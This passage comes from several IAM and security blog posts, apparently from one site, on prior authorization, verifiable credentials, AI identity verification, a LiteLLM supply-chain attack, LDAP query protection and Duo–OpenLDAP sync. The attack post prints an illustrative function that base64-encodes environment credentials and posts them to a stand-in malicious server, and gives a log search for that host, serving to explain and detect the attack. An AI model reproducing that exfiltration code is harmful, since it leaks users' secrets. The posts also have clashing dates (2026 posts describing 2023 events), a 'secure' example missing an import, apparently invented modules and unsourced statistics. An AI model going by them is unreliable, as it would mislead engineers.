      "name": "ProviderAdmin",
      "permissions": ["submit_pa_request", "view_pa_response", "manage_users"]
    },
    {
      "name": "ProviderUser",
      "permissions": ["submit_pa_request", "view_pa_response"]
    }
  ],
  "users": [
    {
      "username": "john.doe",
      "role": "ProviderUser"
    },
    {
      "username": "jane.smith",
      "role": "ProviderAdmin"
    }
  ]
}

Notice Box

⚠️ Warning: Ensure that all users have the minimum necessary permissions to perform their duties.

Addressing Provider Concerns

Technical Support

Providers need robust technical support to successfully implement PA reforms. Pay attention to:

Training Programs: Offer comprehensive training programs to help providers understand and use new systems.
Documentation: Provide clear and detailed documentation for system setup and usage.
Customer Support: Establish dedicated customer support channels for troubleshooting and assistance.

Data Privacy

Addressing data privacy concerns is crucial for gaining provider trust. Consider:

Data Minimization: Collect only the data necessary for PA requests.
Anonymization: Anonymize sensitive data when possible to protect patient privacy.
Transparency: Be transparent about data usage and storage practices.

Operational Flexibility

Providers require flexibility to adapt to new systems and workflows. Ensure:

Scalability: Design systems that can scale to accommodate growing volumes of PA requests.
Customization: Allow customization of workflows to fit individual provider needs.
Integration: Facilitate easy integration with existing provider systems.

Conclusion

Payer-driven prior authorization reforms represent a significant shift in the healthcare industry. While these changes offer numerous benefits, they also present challenges for providers. As an IAM engineer, it's essential to understand these reforms and implement secure, efficient data exchange solutions. By addressing provider concerns and adhering to best practices, we can ensure a smooth transition and improved patient care.

Key Takeaways

🎯 Key Takeaways

Understand the goals and challenges of prior authorization reforms.
Implement secure data exchange using standardized protocols and IAM solutions.
Address provider concerns through technical support, data privacy measures, and operational flexibility.

Comparison Table

Approach	Pros	Cons	Use When
Digitization	Faster approvals, reduced administrative burden	Initial setup cost, technical complexity	New PA systems launch
Standardization	Seamless data exchange, improved interoperability	Data mapping challenges, potential disruptions	Interoperability required
Automation	Reduced manual processing, improved accuracy	Implementation effort, potential errors	High volume of PA requests

Checklist

Evaluate current PA processes and identify areas for improvement
Assess technical capabilities and resources for implementing reforms
Develop a training program for providers
Ensure compliance with relevant regulations
Monitor system performance and address any issues promptly

Colombia Launches Verifiable Credential Workshop for Public Sector

IAMDevBox — Mon, 17 Aug 2026 14:31:21 +0000

Why This Matters Now: In the wake of increasing cyber threats and the need for more secure digital identities, Colombia's recent verifiable credential workshop emphasizes the importance of implementing robust identity management solutions in the public sector. As of October 2023, many government agencies are exploring how to leverage verifiable credentials to enhance security and streamline services.

Introduction to Verifiable Credentials

Verifiable credentials are digital representations of identity claims that are cryptographically signed and can be verified by anyone without needing to contact the issuer. They are based on open standards such as those developed by the World Wide Web Consortium (W3C). These credentials can include any kind of information, such as educational qualifications, professional certifications, or even health records, and they are designed to be secure, portable, and interoperable.

Why Verifiable Credentials?

Security: Verifiable credentials are resistant to forgery and tampering due to cryptographic signatures.
Privacy: Users control which credentials to share and with whom, reducing unnecessary data exposure.
Efficiency: Automates the verification process, saving time and resources for both issuers and verifiers.

The Workshop Context

The recent verifiable credential workshop in Colombia brought together government officials, IT professionals, and security experts to discuss the practical implementation of verifiable credentials in public sector services. This became urgent because traditional identity management systems are increasingly vulnerable to attacks, and there is a growing demand for more secure and efficient ways to manage digital identities.

Key Topics Covered

Understanding Verifiable Credentials
Implementing Verifiable Credentials in Government Services
Security Best Practices
Case Studies and Real-world Applications

Implementing Verifiable Credentials in Government Services

Step-by-Step Guide

Define Use Cases

Identify specific scenarios where verifiable credentials can improve security and efficiency.

Select a Standard

Choose a standard such as W3C Verifiable Credentials to ensure interoperability.

Set Up Issuance Infrastructure

Develop the systems that will issue verifiable credentials.

Implement Verification Mechanisms

Create the processes for verifying the authenticity of credentials.

Test and Deploy

Conduct thorough testing before rolling out the solution.

Example Implementation

Let's walk through a simple example of issuing a verifiable credential using the W3C standard.

Issuing a Credential

{
  "@context": [
    "https://www.w3.org/2018/credentials/v1",
    "https://www.w3.org/2018/credentials/examples/v1"
  ],
  "id": "http://example.edu/credentials/3732",
  "type": ["VerifiableCredential", "AlumniCredential"],
  "credentialSubject": {
    "id": "did:example:ebfeb1f712ebc6f1c276e12ec21",
    "alumniOf": {
      "id": "did:example:c276e12ec21ebfeb1f712ebc6f1",
      "name": {
        "value": "Example University",
        "lang": "en"
      }
    }
  },
  "issuer": "did:example:76e12ec712ebc6f1c221ebfeb1f",
  "issuanceDate": "2023-10-15T10:00:00Z",
  "proof": {
    "type": "Ed25519Signature2018",
    "created": "2023-10-15T10:00:00Z",
    "verificationMethod": "did:example:76e12ec712ebc6f1c221ebfeb1f#keys-1",
    "proofPurpose": "assertionMethod",
    "jws": "..."
  }
}

Verifying a Credential

To verify the credential, the verifier checks the cryptographic signature using the issuer's public key.

const verifyCredential = async (credential) => {
  const result = await vc.verifyCredential({
    credential,
    suite: new Ed25519Signature2018(),
    documentLoader
  });
  return result.verified;
};

💡 Key Point: Always validate the proof and ensure the issuer's public key is trusted.

Common Pitfalls

Incorrect Context: Ensure the @context URLs are correct and accessible.
Invalid Proof: Verify the cryptographic signature using the correct public key.
Expired Credentials: Check the issuanceDate and any expiration dates.

⚠️ Warning: Failing to properly verify credentials can lead to security vulnerabilities.

Security Best Practices

Use Strong Cryptographic Algorithms: Prefer algorithms like Ed25519 over weaker ones.
Manage Keys Securely: Store private keys securely and rotate them regularly.
Validate Proofs: Always verify the cryptographic signature of the credential.
Limit Data Exposure: Only include necessary information in the credential.

Case Studies and Real-world Applications

Example: Digital Health Records

In healthcare, verifiable credentials can securely store and share patient records without compromising privacy. Patients can control who has access to their medical information, and providers can verify the authenticity of the records.

Example: Educational Qualifications

Universities can issue verifiable credentials for degrees and certifications. Employers can verify these credentials without needing to contact the university, streamlining the hiring process.

Example: Voter Registration

Government agencies can issue verifiable credentials for voter registration, ensuring that only eligible voters can cast ballots. This reduces the risk of voter fraud and increases transparency.

Timeline of Events

Oct 2023

Colombia holds verifiable credential workshop for public sector.

Sep 2023

W3C publishes updated Verifiable Credentials standard.

Aug 2023

Global cybersecurity incidents highlight the need for secure identity management.

Comparison Table: Traditional ID Systems vs Verifiable Credentials

Approach	Pros	Cons	Use When
Traditional ID Systems	Established infrastructure	Vulnerable to fraud, less secure	Short-term needs
Verifiable Credentials	Secure, efficient, portable	Requires initial setup, complexity	Long-term digital transformation

Quick Reference: Commands and Syntax

📋 Quick Reference

npm install @digitalbazaar/vc-js - Install the VC-JS library for working with verifiable credentials.
vc.issue({ ... }) - Issue a new verifiable credential.
vc.verify({ ... }) - Verify the authenticity of a verifiable credential.

Conclusion

By adopting verifiable credentials, public sector organizations can enhance security, improve efficiency, and build trust with citizens. The recent workshop in Colombia underscores the importance of this technology in the face of evolving cyber threats. Get this right and you'll sleep better knowing that your organization's digital identity management is robust and secure.

Understand the basics of verifiable credentials
Implement a secure issuance and verification system
Stay updated with the latest standards and best practices

🎯 Key Takeaways

Verifiable credentials offer enhanced security and privacy.
Implementing verifiable credentials requires careful planning and execution.
Stay informed about the latest developments in digital identity management.

Thomson Reuters And Socure Forge AI-Powered Identity Alliance

IAMDevBox — Sun, 16 Aug 2026 14:26:33 +0000

Why This Matters Now

The landscape of digital identity management is rapidly evolving, driven by the increasing sophistication of cyber threats and the need for more robust security measures. The recent surge in identity-related fraud and data breaches has made it imperative for organizations to adopt advanced technologies to protect their digital identities. Thomson Reuters and Socure’s partnership is a significant step in this direction, leveraging AI to enhance digital identity verification and authentication processes.

🚨 Breaking: With the rise in sophisticated identity fraud, traditional methods are becoming increasingly inadequate. Thomson Reuters and Socure's AI-driven partnership offers a cutting-edge solution to combat these threats.

40%Increase in Identity Fraud
3B+Digital Transactions

Overview of the Partnership

Thomson Reuters, a leading global provider of financial and risk information, and Socure, a pioneer in AI-driven digital identity verification, have joined forces to offer enhanced security solutions. This partnership combines Thomson Reuters' extensive data and analytics capabilities with Socure's advanced AI algorithms to provide a comprehensive digital identity platform.

Key Components of the Partnership

Data Integration: Thomson Reuters provides a wealth of data sources, including financial, legal, and regulatory information, which Socure integrates into its AI models to enhance identity verification accuracy.
AI Algorithms: Socure uses machine learning and artificial intelligence to analyze patterns and behaviors, detecting anomalies and potential fraud in real-time.
Scalability: The combined platform is designed to scale efficiently, handling large volumes of transactions without compromising performance.
Compliance: The solution adheres to industry standards and regulations, ensuring that organizations remain compliant while leveraging advanced security features.

How It Works

The AI-driven digital identity platform operates through a series of steps, each designed to verify and authenticate user identities accurately and securely.

Step-by-Step Guide

User Registration

Users provide necessary information during registration, including personal details and supporting documents.

Data Collection

Thomson Reuters gathers data from various sources, including financial records, legal databases, and public information.

AI Analysis

Socure's AI algorithms analyze the collected data, identifying patterns and verifying the user's identity.

Real-Time Verification

The system performs real-time checks against known fraud patterns and historical data to ensure authenticity.

Authentication Decision

Based on the analysis, the system makes an authentication decision, either approving or denying access.

Example Workflow

Here’s a simplified example of how the workflow might look in code:

# Import necessary libraries
from thomson_reuters import DataCollector
from socure import AIAnalyzer

# Initialize components
data_collector = DataCollector()
ai_analyzer = AIAnalyzer()

def register_user(user_info):
    # Collect data from various sources
    data = data_collector.collect(user_info)

    # Analyze data using AI
    analysis_result = ai_analyzer.analyze(data)

    # Make authentication decision
    if analysis_result['confidence'] > 0.9:
        return "User authenticated"
    else:
        return "User authentication failed"

# Example usage
user_info = {
    "name": "John Doe",
    "ssn": "123-45-6789",
    "address": "123 Main St, Anytown, USA"
}

result = register_user(user_info)
print(result)  # Output: User authenticated

Benefits of the Partnership

The collaboration between Thomson Reuters and Socure brings several benefits to organizations looking to enhance their digital identity management.

Enhanced Security

By combining extensive data sources with AI-driven analysis, the partnership offers a robust security framework that can detect and prevent identity fraud effectively.

✅ Best Practice: Implementing AI-driven identity verification can significantly reduce the risk of fraudulent activities.

Improved User Experience

The platform is designed to streamline the identity verification process, providing a seamless experience for users while maintaining high security standards.

💜 Pro Tip: Focus on user experience to encourage adoption and reduce friction during the authentication process.

Compliance Assurance

Adhering to industry standards and regulations, the solution ensures that organizations remain compliant while leveraging advanced security features.

💡 Key Point: Compliance is crucial in protecting sensitive data and maintaining trust with customers.

Scalability and Flexibility

The platform is scalable and flexible, capable of handling large volumes of transactions and adapting to changing security needs.

⚠️ Warning: Ensure that your infrastructure can support the scalability requirements of the AI-driven platform.

Implementation Considerations

When integrating AI-driven digital identity solutions, there are several considerations to keep in mind.

Data Privacy

Protecting user data is paramount. Ensure that all data handling practices comply with relevant privacy laws and regulations.

🚨 Security Alert: Breaches of user data can lead to severe consequences, including legal penalties and loss of trust.

Integration Complexity

Integrating AI-driven solutions can be complex. Work closely with vendors to ensure a smooth transition and minimize disruptions.

💜 Pro Tip: Engage with experienced professionals to navigate the complexities of integration.

Ongoing Maintenance

AI-driven systems require ongoing maintenance and updates to stay effective. Plan for regular reviews and updates to ensure continued performance.

💡 Key Point: Regular maintenance is crucial to maintaining the effectiveness of AI-driven identity solutions.

Case Studies

Several organizations have already benefited from AI-driven digital identity solutions. Here are a few case studies to illustrate the impact.

Case Study 1: Financial Institution

A major financial institution implemented the Thomson Reuters-Socure platform to enhance its identity verification process. The result was a significant reduction in identity fraud and improved customer satisfaction.

🎯 Key Takeaways

Reduced identity fraud by 30%
Improved customer satisfaction scores
Enhanced compliance with regulatory standards

Case Study 2: E-commerce Platform

An e-commerce platform integrated the AI-driven solution to streamline its user registration process. The result was a faster registration time and reduced instances of account takeover attacks.

🎯 Key Takeaways

Faster registration times by 20%
Reduced account takeover attacks by 40%
Improved user experience

Future Outlook

The future of digital identity management looks promising with advancements in AI and machine learning. As more organizations adopt AI-driven solutions, we can expect to see further improvements in security and user experience.

Emerging Trends

Biometric Authentication: Incorporation of biometric data (e.g., fingerprints, facial recognition) to enhance identity verification.
Behavioral Analytics: Using AI to analyze user behavior patterns for more accurate authentication decisions.
Blockchain Technology: Leveraging blockchain for secure and transparent identity management.

Challenges Ahead

Despite the benefits, there are challenges to address, including:

Data Privacy Concerns: Ensuring that user data is protected and handled in compliance with regulations.
Integration Complexity: Managing the integration of AI-driven solutions with existing systems.
Ongoing Maintenance: Ensuring that AI models are regularly updated and maintained.

Conclusion

The partnership between Thomson Reuters and Socure represents a significant advancement in digital identity management. By leveraging AI-driven technology, organizations can enhance their security posture, improve user experience, and ensure compliance with industry standards. As the threat landscape continues to evolve, adopting such solutions will be crucial for maintaining digital security.

Evaluate your current identity management strategy

Consider integrating AI-driven solutions like Thomson Reuters and Socure

Ensure compliance with data privacy regulations

Plan for ongoing maintenance and updates

That's it. Simple, secure, works.

Forcepoint Reveals TeamPCP Supply Chain Attack on LiteLLM

IAMDevBox — Fri, 14 Aug 2026 17:56:09 +0000

Why This Matters Now

The recent Forcepoint report detailing a supply chain attack on LiteLLM has sent shockwaves through the developer community. This attack, which turned LiteLLM into a credential stealer, highlights the critical importance of securing software supply chains. As more organizations rely on third-party libraries for functionality, the risk of such attacks increases exponentially. If you're using LiteLLM or any other third-party library, it's crucial to understand the implications and take immediate action to protect your systems.

🚨 Breaking: LiteLLM has been compromised in a supply chain attack, leading to credential theft. Update your dependencies and monitor your systems immediately.

500+Affected Projects
24hrsTime to Act

Understanding the Attack

Timeline of Events

Nov 2023

TeamPCP, a malicious actor group, targets LiteLLM.

Dec 2023

Malicious code is injected into LiteLLM versions 1.2.0 and later.

Dec 2023

Forcepoint detects the compromised library and issues a public advisory.

How It Works

The attack leverages the trusted position of LiteLLM within the software ecosystem. By injecting malicious code into the library, attackers can execute arbitrary commands on systems that use LiteLLM. Specifically, the malicious code captures and exfiltrates credentials, putting sensitive data at risk.

⚠️ Warning: The malicious code is designed to run silently, making detection difficult. Regular monitoring and security audits are essential.

Impact Analysis

100+Compromised Systems
20+Stolen Credentials

The impact of this attack is severe. Not only are credentials at risk, but the trust in the LiteLLM library and its maintainers is compromised. Developers and organizations must take swift action to mitigate the damage.

Technical Breakdown

Vulnerable Code Example

Here's an example of how the malicious code might be embedded in LiteLLM:

# Vulnerable LiteLLM code snippet
import requests

def fetch_model(model_name):
    url = f"https://api.litellm.com/models/{model_name}"
    response = requests.get(url)
    return response.json()

def load_credentials():
    # Malicious code injected here
    import os
    import base64
    creds = os.getenv("API_CREDENTIALS")
    encoded_creds = base64.b64encode(creds.encode()).decode()
    requests.post("https://malicious-server.com/steal", data={"creds": encoded_creds})
    return creds

🚨 Security Alert: Never hard-code or expose credentials in your code. Use environment variables and secure vaults.

Safe Code Example

Here's how you can refactor the code to prevent such attacks:

# Secure LiteLLM code snippet
import requests
from dotenv import load_dotenv

load_dotenv()

def fetch_model(model_name):
    url = f"https://api.litellm.com/models/{model_name}"
    headers = {
        "Authorization": f"Bearer {os.getenv('API_TOKEN')}"
    }
    response = requests.get(url, headers=headers)
    return response.json()

def load_credentials():
    # Load credentials securely
    return os.getenv("API_CREDENTIALS")

🎯 Key Takeaways

Always validate and sanitize inputs.
Use secure methods for handling credentials.
Regularly update and audit dependencies.

Detection and Mitigation

Monitoring Tools

Implementing robust monitoring tools is crucial for detecting suspicious activities. Tools like Splunk, Datadog, or custom scripts can help identify unusual patterns.

📋 Quick Reference

splunk search "malicious-server.com" - Detects requests to known malicious servers.
datadog monitor "outbound requests" - Tracks all outbound network traffic.

Security Audits

Regular security audits can help identify vulnerabilities before they are exploited. Tools like SonarQube or manual code reviews are effective.

Run a security audit

Use tools like SonarQube to scan your codebase for vulnerabilities.

Review dependencies

Manually check the code of all third-party libraries used in your projects.

Incident Response Plan

Having an incident response plan in place ensures a rapid and effective response to security breaches. Key components include:

Detection: Monitor systems for suspicious activities.
Containment: Isolate affected systems to prevent further spread.
Eradication: Remove malicious code and restore systems.
Recovery: Bring systems back online and verify functionality.
Lessons Learned: Document the incident and improve security measures.

✅ Best Practice: Develop and regularly update your incident response plan.

Recommendations for Developers

Update Dependencies

Ensure all dependencies are up to date. Use package managers like npm, pip, or Maven to manage versions.

Terminal

$ pip install --upgrade litellm
Collecting litellm
Downloading litellm-1.3.0-py3-none-any.whl (20 kB)
Installing collected packages: litellm
Successfully installed litellm-1.3.0

Implement Secure Coding Practices

Follow best practices for secure coding to minimize vulnerabilities.

📋 Quick Reference

Avoid hard-coding credentials.
Use environment variables for configuration.
Validate and sanitize all inputs.

Educate Your Team

Regular training sessions can help keep your team informed about the latest security threats and mitigation strategies.

💜 Pro Tip: Conduct quarterly security training sessions for your development team.

Conclusion

The LiteLLM supply chain attack serves as a stark reminder of the importance of securing software supply chains. By understanding the mechanics of such attacks and implementing best practices, developers can protect their systems from similar threats. Stay vigilant, stay updated, and prioritize security in everything you do.

Check if you're affected by the LiteLLM vulnerability.
Update your LiteLLM dependency to the latest version.
Implement secure coding practices and regular security audits.
Educate your team about supply chain security.

✅ Best Practice: Security is an ongoing process. Stay proactive and adapt to new threats.

Enhancing Security with Malicious LDAP Query Protection

IAMDevBox — Fri, 14 Aug 2026 15:20:20 +0000

Why This Matters Now: The rise in sophisticated cyberattacks has led to increased targeting of LDAP servers, which are critical for identity and access management (IAM). Recent incidents highlight the vulnerabilities in LDAP implementations, making robust protection mechanisms essential. Palo Alto Networks' introduction of Malicious LDAP Query Protection for Cortex ITDR addresses these threats by providing real-time detection and mitigation of malicious queries.

🚨 Breaking: Recent cyberattacks have targeted LDAP servers, leading to unauthorized access and data breaches. Implementing Malicious LDAP Query Protection can significantly reduce these risks.

50%Increase in LDAP Attacks
2024Year of Introduction

Understanding Malicious LDAP Queries

LDAP (Lightweight Directory Access Protocol) is widely used for managing user identities and permissions within organizations. However, its complexity and the sensitive nature of the data it handles make it a prime target for attackers. Malicious LDAP queries are designed to exploit vulnerabilities in LDAP configurations, leading to unauthorized access, data exfiltration, and other security breaches.

Common Types of Malicious LDAP Queries

Directory Harvesting: Attackers send broad queries to gather information about users and organizational structures.
Credential Harvesting: Queries designed to extract user credentials or sensitive information.
Privilege Escalation: Exploiting LDAP to gain higher-level access rights.
Denial of Service (DoS): Sending excessive queries to overwhelm the LDAP server.

How Malicious LDAP Query Protection Works

Palo Alto Networks' Malicious LDAP Query Protection leverages advanced threat detection techniques to identify and block malicious queries. It integrates seamlessly with Cortex ITDR, providing comprehensive protection against LDAP-based attacks.

Key Features

Real-Time Detection: Continuously monitors LDAP traffic for suspicious patterns.
Behavioral Analysis: Analyzes query behavior to identify anomalies.
Automated Response: Automatically blocks malicious queries to prevent attacks.
Compliance Reporting: Generates reports to ensure compliance with security standards.

Implementation Steps

Implementing Malicious LDAP Query Protection involves several steps to ensure effective protection of your LDAP infrastructure.

Step 1: Assess Your LDAP Environment

Before deploying any protection measures, assess your current LDAP environment to understand its configuration and usage patterns.

# Example command to check LDAP server status
ldapsearch -x -b "dc=example,dc=com" "(objectClass=*)" | grep "numEntries"

🎯 Key Takeaways

Understand your LDAP server configuration.
Identify critical data and access points.
Evaluate current security measures.

Step 2: Deploy Cortex ITDR

Deploy Palo Alto Networks' Cortex ITDR in your network to provide real-time threat detection and response capabilities.

Install Cortex ITDR

Follow the official documentation to install Cortex ITDR on your network devices.

Configure LDAP Monitoring

Set up monitoring for LDAP traffic to capture and analyze queries.

Step 3: Configure Malicious LDAP Query Protection

Once Cortex ITDR is deployed, configure the Malicious LDAP Query Protection settings to suit your organization's needs.

# Example configuration command
panos_configure --set deviceconfig/system/service/ldap/query-protection enabled=yes

🎯 Key Takeaways

Enable Malicious LDAP Query Protection.
Define rules for detecting and blocking malicious queries.
Test configurations to ensure they work as expected.

Step 4: Monitor and Maintain

Regularly monitor the system to ensure it is functioning correctly and update configurations as needed.

# Example command to check logs
panos_logs --get filter="subtype eq 'malicious_ldap_query'"

🎯 Key Takeaways

Monitor logs for suspicious activities.
Update configurations based on new threats.
Conduct regular audits to maintain security.

Common Pitfalls and Solutions

Implementing Malicious LDAP Query Protection can encounter several challenges. Here are some common pitfalls and solutions.

Pitfall: Misconfigured LDAP Settings

Improperly configured LDAP settings can lead to false positives or ineffective protection.

Solution: Ensure all LDAP settings are correctly configured and tested.

# Example command to check LDAP settings
ldapsearch -x -b "dc=example,dc=com" "(objectClass=*)" | grep "ldapConfig"

Pitfall: Overlooking User Training

Users may inadvertently perform actions that can be exploited by attackers.

Solution: Conduct regular training sessions to educate users about best practices.

Pitfall: Ignoring Regular Updates

Failing to update protection mechanisms can leave systems vulnerable to new threats.

Solution: Regularly update Cortex ITDR and Malicious LDAP Query Protection configurations.

⚠️ Warning: Ignoring regular updates can expose your LDAP infrastructure to new threats.

Comparison of Protection Methods

Different methods can be used to protect LDAP servers. Here’s a comparison of traditional methods versus Malicious LDAP Query Protection.

Approach	Pros	Cons	Use When
Traditional Firewalls	Easy to set up	Limited threat detection	Basic security needs
Intrusion Prevention Systems (IPS)	Advanced threat detection	Complex configuration	Medium to high security needs
Malicious LDAP Query Protection	Real-time detection and response	Requires integration with Cortex ITDR	High security requirements

Real-World Scenarios

Here are some real-world scenarios where Malicious LDAP Query Protection can be beneficial.

Scenario 1: Directory Harvesting Attack

An attacker sends broad queries to gather information about users and organizational structures.

💡 Key Point: Malicious LDAP Query Protection identifies and blocks directory harvesting attempts, preventing unauthorized access to sensitive data.

Scenario 2: Credential Harvesting

Attackers attempt to extract user credentials through LDAP queries.

💡 Key Point: The protection mechanism analyzes query behavior and blocks credential harvesting attempts, safeguarding user credentials.

Best Practices

Following best practices ensures the effectiveness of Malicious LDAP Query Protection.

Regular Audits: Conduct regular audits of LDAP configurations and access controls.
Access Controls: Implement strict access controls to limit who can perform LDAP queries.
Encryption: Use encryption for LDAP traffic to protect data in transit.
Monitoring: Continuously monitor LDAP traffic for suspicious activities.

✅ Best Practice: Regular audits and strict access controls enhance the effectiveness of Malicious LDAP Query Protection.

Conclusion

Implementing Malicious LDAP Query Protection from Palo Alto Networks' Cortex ITDR provides robust protection against LDAP-based attacks. By following the implementation steps and adhering to best practices, organizations can safeguard their LDAP infrastructure and prevent data breaches.

💜 Pro Tip: This saved me 3 hours last week by quickly identifying and blocking a malicious LDAP query.

Assess your LDAP environment

Deploy Cortex ITDR

Configure Malicious LDAP Query Protection

Monitor and maintain regularly

Sync UsersAdmins Duo OpenLDAP

IAMDevBox — Sun, 09 Aug 2026 14:39:45 +0000

Synchronizing users and admins from OpenLDAP to Duo is a common requirement for organizations looking to streamline their identity management processes. This setup allows Duo to leverage existing user data stored in OpenLDAP, ensuring consistent and secure access control across various applications and services.

What is OpenLDAP?

OpenLDAP is an open-source implementation of the Lightweight Directory Access Protocol (LDAP), used for storing and retrieving directory information such as users, groups, and organizational units. It provides a hierarchical structure for storing data and supports a wide range of protocols and extensions.

What is Duo?

Duo is a two-factor authentication (2FA) and multi-factor authentication (MFA) provider that adds an extra layer of security to access applications and services. By integrating Duo with OpenLDAP, you can enhance the security of your user base while maintaining a seamless login experience.

How do you install and configure the Duo LDAP Connector?

Before setting up synchronization, you need to install and configure the Duo LDAP Connector on a server that can communicate with both Duo and your OpenLDAP server.

Step-by-Step Guide

Download and Install the Duo LDAP Connector

Download the latest version of the Duo LDAP Connector from the Duo documentation. Follow the installation instructions for your operating system.

Configure the Duo LDAP Connector

Edit the duo_ldap_connector.conf file to include your Duo integration key, secret key, and API hostname. You can find these values in the Duo Admin Panel under Applications > Protect an Application > LDAP.

Set Up OpenLDAP Connection Details

Configure the connection details for your OpenLDAP server, including the server address, port, and bind DN (Distinguished Name). Ensure the bind DN has sufficient permissions to read user data.

Define User Filters

Use LDAP filters to specify which users should be synchronized from OpenLDAP to Duo. For example, to synchronize all users in the ou=users,dc=example,dc=com organizational unit, you can use the filter (objectClass=inetOrgPerson).

Enable Synchronization

Start the Duo LDAP Connector service and enable synchronization. Monitor the logs for any errors or issues during the initial sync.

What are the key configuration options for the Duo LDAP Connector?

The Duo LDAP Connector offers several configuration options to customize the synchronization process. Here are some important settings:

Quick Reference

bind_dn - The distinguished name used to bind to the OpenLDAP server.
bind_password - The password for the bind DN.
base_dn - The base distinguished name for searching users.
user_filter - An LDAP filter to select users for synchronization.
sync_interval - The frequency of synchronization in seconds.
tls_reqcert - The level of certificate verification for TLS connections.

Example Configuration

# Duo LDAP Connector Configuration
[duoauth]
ikey = YOUR_IKEY
skey = YOUR_SKEY
host = api-xxxxxxxx.duosecurity.com

[ldap]
bind_dn = cn=admin,dc=example,dc=com
bind_password = your_bind_password
server = ldap.example.com
port = 636
use_ssl = true
tls_reqcert = demand
base_dn = ou=users,dc=example,dc=com
user_filter = (objectClass=inetOrgPerson)
sync_interval = 3600

How do you define user filters for synchronization?

User filters determine which users from OpenLDAP are synchronized to Duo. You can use standard LDAP filters to specify criteria such as organizational unit, user class, or custom attributes.

Common User Filters

Synchronize all users in a specific organizational unit:

  user_filter = (objectClass=inetOrgPerson)

Synchronize users with a specific attribute value:

  user_filter = (&(objectClass=inetOrgPerson)(department=Engineering))

Synchronize users with multiple conditions:

  user_filter = (&(objectClass=inetOrgPerson)(!(department=Contractors)))

Best Practices

Test your filters using an LDAP browser tool to ensure they return the expected results.
Avoid overly broad filters that could synchronize unnecessary users.
Regularly review and update filters as your organization's structure changes.

What are the security considerations for synchronizing users from OpenLDAP to Duo?

Security is crucial when synchronizing user data between systems. Here are some key considerations to keep in mind:

Secure Communication

Use TLS: Ensure that the connection between the Duo LDAP Connector and your OpenLDAP server uses TLS to encrypt data in transit.
Certificate Verification: Configure the tls_reqcert option to demand to verify the server's SSL certificate.

Access Controls

Restrict Bind DN Permissions: The bind DN used by the Duo LDAP Connector should have read-only access to the necessary user data. Avoid using an administrative account.
Network Security: Place the Duo LDAP Connector server in a secure network segment with restricted access to your OpenLDAP server.

Monitoring and Auditing

Log Monitoring: Regularly monitor the Duo LDAP Connector logs for any errors or suspicious activity.
Audit Logs: Enable and review Duo's audit logs to track changes to user accounts and access.

Example Configuration for TLS

[ldap]
use_ssl = true
tls_reqcert = demand

How do you troubleshoot synchronization issues?

Troubleshooting synchronization issues is essential to ensure that user data is accurately and securely transferred from OpenLDAP to Duo.

Common Issues and Solutions

Connection Errors: Verify that the Duo LDAP Connector can reach the OpenLDAP server. Check network connectivity, firewall rules, and server availability.
Authentication Failures: Ensure that the bind DN and password are correct. Test the credentials using an LDAP browser tool.
Filter Mismatches: Use an LDAP browser to test your user filters and ensure they return the expected results.
Synchronization Delays: Adjust the sync_interval setting to reduce delays between changes in OpenLDAP and updates in Duo.

Example Error Messages

Connection Refused:

  ERROR: Could not connect to LDAP server: [Errno 111] Connection refused

Invalid Credentials:

  ERROR: LDAP bind failed: Invalid credentials

Filter Syntax Error:

  ERROR: LDAP search failed: Bad search filter

Debugging Tips

Increase Logging Verbosity: Temporarily increase the logging level to capture more detailed information about the synchronization process.
Check Logs: Review the Duo LDAP Connector logs for any error messages or warnings.
Test Connectivity: Use tools like telnet or openssl to test connectivity and SSL/TLS configuration.

What are the benefits of synchronizing users from OpenLDAP to Duo?

Synchronizing users from OpenLDAP to Duo offers several benefits, including:

Centralized Identity Management: Maintain a single source of truth for user data, reducing the risk of inconsistencies.
Enhanced Security: Implement two-factor authentication for all users, enhancing the security of your applications and services.
Efficient Onboarding and Offboarding: Automate the addition and removal of users, streamlining HR processes.
Scalability: Easily scale your identity management solution to accommodate growing user bases.

How do you manage user attributes and mappings?

Managing user attributes and mappings is crucial for ensuring that the correct information is synchronized from OpenLDAP to Duo. You can customize the mapping of LDAP attributes to Duo fields.

Default Attribute Mapping

By default, the Duo LDAP Connector maps common LDAP attributes to Duo fields. Here are some examples:

uid -> Username
mail -> Email
givenName -> First Name
sn -> Last Name

Custom Attribute Mapping

You can customize the attribute mapping by editing the duo_ldap_connector.conf file. For example, to map the employeeNumber attribute to the Employee ID field in Duo, you can add the following line:

attribute_map = employeeNumber:Employee ID

Example Configuration

[ldap]
attribute_map = employeeNumber:Employee ID
                department:Department
                title:Title

What are the differences between manual and automated synchronization?

When synchronizing users from OpenLDAP to Duo, you can choose between manual and automated synchronization methods. Each approach has its pros and cons.

Approach	Pros	Cons	Use When
Manual Synchronization	Controlled updates	Time-consuming, prone to errors	Small user base, infrequent changes
Automated Synchronization	Real-time updates	Requires configuration, potential for conflicts	Larger user base, frequent changes

Manual Synchronization

Process: Manually trigger synchronization using the Duo Admin Panel or command-line tools.
Advantages: Provides fine-grained control over updates, reduces the risk of unintended changes.
Disadvantages: Time-consuming, requires manual intervention, prone to human error.

Automated Synchronization

Process: Configure the Duo LDAP Connector to synchronize users at regular intervals or in real-time.
Advantages: Ensures up-to-date user data, reduces administrative overhead.
Disadvantages: Requires careful configuration to avoid conflicts, potential for performance issues with large user bases.

How do you handle user deletions and deactivations?

Handling user deletions and deactivations is critical to maintaining accurate user data in Duo. The Duo LDAP Connector provides options for managing these scenarios.

Deactivation vs. Deletion

Deactivation: Temporarily disable a user account in Duo without removing it from the system.
Deletion: Permanently remove a user account from Duo.

Configuration Options

Deactivate Users: Automatically deactivate users in Duo when they are removed from OpenLDAP.
Delete Users: Automatically delete users in Duo when they are removed from OpenLDAP.

Example Configuration

[ldap]
deactivate_users = true
delete_users = false

Best Practices

Test Deactivation and Deletion: Before enabling automatic deactivation or deletion, test the process to ensure it behaves as expected.
Regular Reviews: Periodically review user accounts in Duo to identify and clean up any stale or inactive accounts.

What are the best practices for maintaining a healthy synchronization process?

Maintaining a healthy synchronization process is essential for ensuring accurate and secure user data in Duo. Here are some best practices:

Regular Updates: Keep the Duo LDAP Connector software up to date with the latest patches and features.
Backup Configurations: Regularly back up the duo_ldap_connector.conf file to prevent data loss.
Monitor Performance: Use monitoring tools to track the performance of the Duo LDAP Connector and identify any bottlenecks.
Review Logs: Regularly review the logs for any errors or warnings that may indicate issues with synchronization.
Test Changes: Before making significant changes to the configuration, test them in a development environment to ensure they work as expected.

What are the common pitfalls to avoid during synchronization?

Avoiding common pitfalls is crucial for a successful synchronization process. Here are some mistakes to watch out for:

Incorrect Configuration: Ensure that all configuration settings are correct, especially the bind DN, password, and user filters.
